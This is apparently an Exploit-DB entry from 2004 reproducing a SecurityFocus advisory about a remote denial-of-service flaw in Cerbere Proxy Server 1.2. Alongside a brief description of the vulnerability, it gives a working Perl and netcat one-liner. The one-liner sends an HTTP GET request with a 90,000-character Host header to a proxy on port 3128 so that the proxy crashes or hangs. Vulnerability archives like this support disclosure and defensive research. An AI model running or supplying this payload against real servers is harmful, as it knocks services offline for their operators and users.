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Cerbere Proxy Server 1.2 - Long Host Header Field Remote Denial of Service

🗓️ 01 Sep 2004 00:00:00Reported by GSS ITType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 20 Views

Cerbere Proxy Server 1.2 suffers a remote denial of service due to malformed HTTP GET requests.

Code
source: https://www.securityfocus.com/bid/11085/info

Cerbère Proxy server is reported prone to a remote denial of service vulnerability. This issue presents itself when a remote attacker sends a malformed HTTP GET request to the server.

A remote attacker may cause a denial of service condition in the proxy leading to a crash or hang.

Cerbère Proxy 1.2 is reported prone to this issue, however, other versions may be affected as well.

perl -e 'print "GET / HTTP/1.1\r\n" . "Host: " . "A" x 90000 . "\r\n" . "\r\n\r\n" ' | nc "Proxy_IP" 3128 

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